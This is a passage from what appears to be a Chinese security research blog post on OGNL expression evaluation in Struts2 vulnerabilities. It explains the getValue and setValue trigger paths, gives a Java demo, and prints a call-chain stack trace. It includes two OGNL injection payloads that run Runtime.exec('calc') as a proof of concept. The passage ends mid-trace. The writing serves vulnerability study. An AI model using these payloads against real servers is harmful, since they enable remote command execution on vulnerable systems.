0x00 前言
说到OGNL,可能很多师傅都会想到struts2,在Struts2漏洞分析的道路上,可能在学习的过程中浅尝而止,也或许挨着分析了一遍,但是每次都是停到了setValue或者getValue这里,本篇将和大家分享,setValue和getValue中详细的内容,揭开Struts2最后一层纱,看完本篇后,希望可以对整个系列,包括并不限于Struts漏洞系列有一个更深的了解。
知识浅薄,往各位大佬留情。
0x01 漏洞触发方式
关于OGNL的基础知识我们就不啰嗦了,网上一查一大堆,我们主要还是说通过什么方式可以触发,通常我们触发是通过两个方式触发的,一种是setvalue,还有一种是getvalue,所有的漏洞都是通过这两个方法来进行触发的,就类似于jndi漏洞的lookup一样。
市面上的payload主要分为两种,一种是setvalue的payload,还有一种是getvalue的payload,在本篇中,将会详细讲述两种payload的区别,以及为什么payload要这样构造的原因。
"@java.lang.Runtime@getRuntime().exec('calc')"
("@java.lang.Runtime@getRuntime().exec('calc')")(aba)(aba)
0x02 getValue
我们先从相对基础以及简单的getValue开始讲起,首先是Demo
public static void main(String[] args) throws OgnlException {
Map context = new HashMap();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, "");
}
然后是完整的调用链:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, Simp